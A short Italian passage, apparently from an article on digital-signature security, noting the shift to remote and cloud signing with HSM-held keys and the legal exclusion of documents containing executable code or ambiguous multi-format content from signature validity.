(Nota: oggi il problema si è spostato sulla firma remota e sui servizi cloud, dove la chiave privata è su un HSM del provider. Il principio resta lo stesso: il punto debole non è il dispositivo di firma, ma tutto ciò che sta intorno.)

Altri problemi potrebbero riguardare documenti non statici che contengono istruzioni o codici eseguibili, ma tali documenti sono esclusi dalla validità della firma secondo la normativa vigente.

Infine è possibile, almeno teoricamente, creare documenti ambigui che sono validi in più formati. Si suppone però che anche questi documenti siano esclusi dalla validità della firma.